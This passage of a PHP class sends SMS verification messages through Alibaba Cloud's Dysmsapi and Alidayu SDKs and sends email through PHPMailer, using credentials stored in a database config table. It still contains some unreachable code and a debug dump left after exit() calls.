['template','require','模板id错误'],

]);

if (!$validate->check($data)) {

return $validate->getError();

}

$config = Db::name('member\_config')->where('type','sdkMobile')->select();

$sdkAppkey=$config[0]['text'];

$sdkSecretKey=$config[1]['text'];

$sdkQianming=$config[2]['text'];

$sdkReg=$config[3]['text'];

$sdkPwd=$config[4]['text'];

$sdkMobile=$config[5]['text'];

include EXTEND\_PATH.'sms/sdkcore/Config.php';

Loader::import('sms.Dysmsapi.Request.V20170525.SendSmsRequest');

Loader::import('sms.Dysmsapi.Request.V20170525.QuerySendDetailsRequest');

$accessKeyId = $sdkAppkey;

$accessKeySecret =$sdkSecretKey;

$product = "Dysmsapi";

$domain = "dysmsapi.aliyuncs.com";

$region = "cn-hangzhou";

$profile = \sms\sdkcore\Profile\DefaultProfile::getProfile($region, $accessKeyId, $accessKeySecret);

\sms\sdkcore\Profile\DefaultProfile::addEndpoint("cn-hangzhou", "cn-hangzhou", $product, $domain);

$acsClient= new \sms\sdkcore\DefaultAcsClient($profile);

$request = new \sms\Dysmsapi\Request\V20170525\SendSmsRequest;

$request->setPhoneNumbers($data['mobile']);

$request->setSignName($sdkQianming);

$request->setTemplateCode($data['template']);

$request->setTemplateParam(json\_encode($data['param']));

$acsResponse = $acsClient->getAcsResponse($request);

if($acsResponse->Message=='OK'){

return true;

}else{

return $acsResponse->Message;

}

exit();

if(isset($result['code'])){

return $result['sub\_code'];

}

return true;

$validate = new Validate([

['param','require|array','参数必填|参数必须为数组'],

['mobile','require|/1[34578]{1}\d{9}$/','手机号错误|手机号错误'],

['template','require','模板id错误'],

]);

if (!$validate->check($data)) {

return $validate->getError();

}

define('TOP\_SDK\_WORK\_DIR', CACHE\_PATH.'sms\_tmp/');

define('TOP\_SDK\_DEV\_MODE', false);

vendor('alidayu.TopClient');

vendor('alidayu.AlibabaAliqinFcSmsNumSendRequest');

vendor('alidayu.RequestCheckUtil');

vendor('alidayu.ResultSet');

vendor('alidayu.TopLogger');

$config = Db::name('member\_config')->where('type','sdkMobile')->select();

$sdkAppkey=$config[0]['text'];

$sdkSecretKey=$config[1]['text'];

$sdkQianming=$config[2]['text'];

$sdkReg=$config[3]['text'];

$sdkPwd=$config[4]['text'];

$sdkMobile=$config[5]['text'];

$c = new \TopClient;

$c->appkey = $sdkAppkey;

$c->secretKey = $sdkSecretKey;

$req = new \AlibabaAliqinFcSmsNumSendRequest;

$req->setExtend('');

$req->setSmsType('normal');

$req->setSmsFreeSignName($sdkQianming);

$req->setSmsParam(json\_encode($data['param']));

$req->setRecNum($data['mobile']);

$req->setSmsTemplateCode($data['template']);

$result = $c->execute($req);

dump($result);

exit();

$result = $this->\_simplexml\_to\_array($result);

if(isset($result['code'])){

return $result['sub\_code'];

}

return true;

}

private function \_simplexml\_to\_array($obj)

{

if(count($obj) >= 1){

$result = $keys = [];

foreach($obj as $key=>$value){

isset($keys[$key]) ? ($keys[$key] += 1) : ($keys[$key] = 1);

if( $keys[$key] == 1 ){

$result[$key] = $this->\_simplexml\_to\_array($value);

}elseif( $keys[$key] == 2 ){

$result[$key] = [$result[$key], $this->\_simplexml\_to\_array($value)];

}else if( $keys[$key] > 2 ){

$result[$key][] = $this->\_simplexml\_to\_array($value);

}

}

return $result;

}else if(count($obj) == 0){

return (string)$obj;

}

}

public function email($data=[]){

$validate = new Validate([

['email','require|email','邮箱输入错误|邮箱输入错误'],

['content','require','请输入邮件内容'],

]);

if (!$validate->check($data)) {

return $validate->getError();

}

$config = Db::name('member\_config')->where('type','sdkEmail')->select();

$sdkEmailHhost=$config[0]['text'];

$sdkEmailUsername=$config[1]['text'];

$sdkEmailPwd=$config[2]['text'];

$title=config('config')['title'];

vendor('phpmailer.phpmailer');

$phpmailer = new \phpmailer();

$phpmailer->Host = $sdkEmailHhost;

$phpmailer->SMTPAuth = TRUE;

$phpmailer->Username = $sdkEmailUsername;

$phpmailer->Password = $sdkEmailPwd;

$phpmailer->From = $sdkEmailUsername;

$phpmailer->FromName = $title;

$phpmailer->CharSet = 'utf-8';

$phpmailer->Subject = $title;

$phpmailer->Body = $data['content'];

$phpmailer->AltBody = $data['content'];

$phpmailer->WordWrap = 50;

$phpmailer->IsSMTP(true);

$phpmailer->IsHTML(true);

$phpmailer->AddAddress($data['email']);

$status = $phpmailer->Send();

return true;

}

}

?>